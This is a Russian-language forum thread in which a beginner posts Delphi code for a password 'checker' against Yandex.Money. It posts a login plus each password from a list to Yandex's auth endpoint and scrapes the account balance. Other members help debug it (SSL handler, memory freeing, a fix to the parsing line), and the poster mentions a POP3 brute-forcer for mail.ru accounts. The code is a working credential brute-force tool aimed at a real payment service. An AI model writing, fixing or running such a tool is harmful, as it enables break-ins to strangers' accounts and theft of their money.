[Помогите!] чекер яд

[pavel!]

Вообщем накидал чекер яд,но дает ошику,т.е комплимирует все но когда жму старт дает ошибку
извините за кривоту моего кода делфи только начал осваивать.

var
  i:Integer;
  info:TStringList;
  p:TStringList;
  s,proxy:string;
begin
  info:=TStringList.Create;
  p:=TStringList.Create;

  for i:=0 to mmo1.Lines.Count-1 do
  begin
    info.Add('login='+edt1.Text);
    info.Add('passwd='+mmo1.Lines.Strings[i]);
    p.Text:=idhtp1.Post('https://passport.yandex.ru/passport?mode=auth&from=money&retpath=https://money.yandex.ru/index.xml&msg=money', info);
    s:=idhtp1.Get('https://money.yandex.ru/index.xml?ncrnd=7284');
    proxy:=Copy(s,Pos('title="скрыть баланс">',s)+10,pos('.</a>a',s)pos('<',s)-10);
    mmo2.Text:=proxy;

  end;

end;

end.

[VeTaL_UA]

Ты работаешь с https. Где IOHandler?

[pavel!]

Цитата: Сообщение от VeTaL_UA Ты работаешь с https. Где IOHandler?

VeTaL_UA я буквально пару недель осваиваю делфи,читаю книги и что то пытаюся сделать,но получается все криво,я буду очень благадарен если б вы рассказали что да как

[Mebius]

Цитата: Сообщение от pavel! VeTaL_UA я буквально пару недель осваиваю делфи,читаю книги и что то пытаюся сделать,но получается все криво,я буду очень благадарен если б вы рассказали что да как

кривизна на первых парах нормальна, не стоит от этого как то себя неуютно чувствовать, пара месяцев усердных занятий и будет все зашибись)

SSLOIHandler подцепи к idHttp

а разве при работе с хттпс даже с инди либы ссл не нужны?? О_о

Цитата: info:=TStringList.Create; p:=TStringList.Create;

создать создал, а освободить память в конце забыл!

что б форма не висла кинь на нее антифриз и включи его.

[R.A.Z.O.R.]

Выкинь Indy, используй [Ссылки могут видеть только зарегистрированные пользователи. ]

[Mebius]

Цитата: Сообщение от R.A.Z.O.R. Выкинь Indy, используй [Ссылки могут видеть только зарегистрированные пользователи. ]

новичку тяжелее с synapse работать, пусть сначала на инди играть научиться, а потом уже на синапс переходит
а вообще если так судить то выкинуть и синапс! winsock лучше!

[pavel!]

Цитата: Сообщение от Mebius новичку тяжелее с synapse работать, пусть сначала на инди играть научиться, а потом уже на синапс переходит а вообще если так судить то выкинуть и синапс! winsock лучше!

В книге как раз которую читаю (Делфи глазами Хакеров) как раз автор очень хорошо расказывает о винсокс2,хорошие примеры,НО т.к книга старая
компоненты все,все старое и очень тяжело освоить плоды
Не могли б вы мне подсказать с выше указыным вашим постом с освобождением и добовлением к idhttp,я просто не понел что вы имели в вижу.Заранее вам благодарен
А насчет

кривизна на первых парах нормальна, не стоит от этого как то себя неуютно чувствовать, пара месяцев усердных занятий и будет все зашибись)

Мне просто уже не удобно создавать темы с помощью )
С ПОП3 сервером я освоился и написать брут под мыло на основе поп3 запроса,а особено хотел бы отметить майл.ру, очень легко реализовать , а работа с indy,idhttp уже более сложна,т.к требует более усердной работы и расчетов

[Mebius]

Цитата: Сообщение от pavel! В книге как раз которую читаю (Делфи глазами Хакеров) как раз автор очень хорошо расказывает о винсокс2,хорошие примеры,НО т.к книга старая компоненты все,все старое и очень тяжело освоить плоды Не могли б вы мне подсказать с выше указыным вашим постом с освобождением и добовлением к idhttp,я просто не понел что вы имели в вижу.Заранее вам благодарен А насчет кривизна на первых парах нормальна, не стоит от этого как то себя неуютно чувствовать, пара месяцев усердных занятий и будет все зашибись) Мне просто уже не удобно создавать темы с помощью ) С ПОП3 сервером я освоился и написать брут под мыло на основе поп3 запроса,а особено хотел бы отметить майл.ру, очень легко реализовать , а работа с indy,idhttp уже более сложна,т.к требует более усердной работы и расчетов

нет, работа с хттп проста как валенок, с синапсом сложнее, используй пока что инди, глазами хакера вообще тебе еще рано читать ИМХО) не с этого надо начинать.

про освобождение:

Цитата: var i:Integer; info:TStringList; p:TStringList; s,proxy:string; begin info:=TStringList.Create; p:=TStringList.Create; try for i:=0 to mmo1.Lines.Count-1 do begin info.Add('login='+edt1.Text); info.Add('passwd='+mmo1.Lines.Strings[i]); p.Text:=idhtp1.Post('https://passport.yandex.ru/passport?mode=auth&from=money&retpath=https://money.yandex.ru/index.xml&msg=money', info); s:=idhtp1.Get('https://money.yandex.ru/index.xml?ncrnd=7284'); proxy:=Copy(s,Pos('title="скрыть баланс">',s)+10,pos('.</a>a',s)pos('<',s)-10); mmo2.Text:=proxy; end; finally info.Free;// освобождаем память, занятую переменной info p.Free; // освобождаем память, занятую переменной p end; end; end.

обычные типы переменных, такие как стринг, интеджер, флоат и тд очищаются автоматически при закрытии программы. а вот если освобождение память от классов надо писать обязательно, иначе при закрытии программы память занятая этими переменными останется занятой и ничейной.

[VeTaL_UA]

Цитата: Сообщение от Mebius а разве при работе с хттпс даже с инди либы ссл не нужны?? О_о

Нужны. В гугле динамическую библиотеку скачать можно.

[Ulelern]

Цитата: Сообщение от Mebius иначе при закрытии программы память занятая этими переменными останется занятой и ничейной.

После перезагрузки компьютер память вить очистится?

[Mebius]

Цитата: Сообщение от VeTaL_UA Нужны. В гугле динамическую библиотеку скачать можно.

ну тогда будут либы эти еще и тут))) 0,9,8,18 версия

Цитата: После перезагрузки компьютер память вить очистится?

а что если я постоянно пользуюсь программой которая не очищает память и я перезагружаю пк раз в месяц? З.Ы. от лучше не лезть если не все обдумал)

[pavel!]

Цитата: Сообщение от Mebius ну тогда будут либы эти еще и тут))) 0,9,8,18 версия а что если я постоянно пользуюсь программой которая не очищает память и я перезагружаю пк раз в месяц? З.Ы. от лучше не лезть если не все обдумал)

спасибо за помощь
не подскажите тогда что почитать? в книжные магазины заходил,а они и не знают что такое делфи,неподскажите что из электронных книг почитать?

Добавлено через 49 минут
OIHandler is not valid дает ошибку сново
не знаю что и делать

[Mebius]

Цитата: Сообщение от pavel! спасибо за помощь не подскажите тогда что почитать? в книжные магазины заходил,а они и не знают что такое делфи,неподскажите что из электронных книг почитать? Добавлено через 49 минут OIHandler is not valid дает ошибку сново не знаю что и делать

читай библию делфи 2 или 3 издание (без разницы)

[MastaDan]

У меня ошибку не выдает, но и при старте нечего не делает... стоит Delphi XE2
Нашел ошибку в коде
было=> proxy:=Copy(s,Pos('title="скрыть баланс">',s)+10,pos('.</a>a',s)pos('<',s)-10);
надо=> proxy:=Copy(s,Pos('title="скрыть баланс">',s)+10,pos('.</a>a',s)-pos('<',s)-10);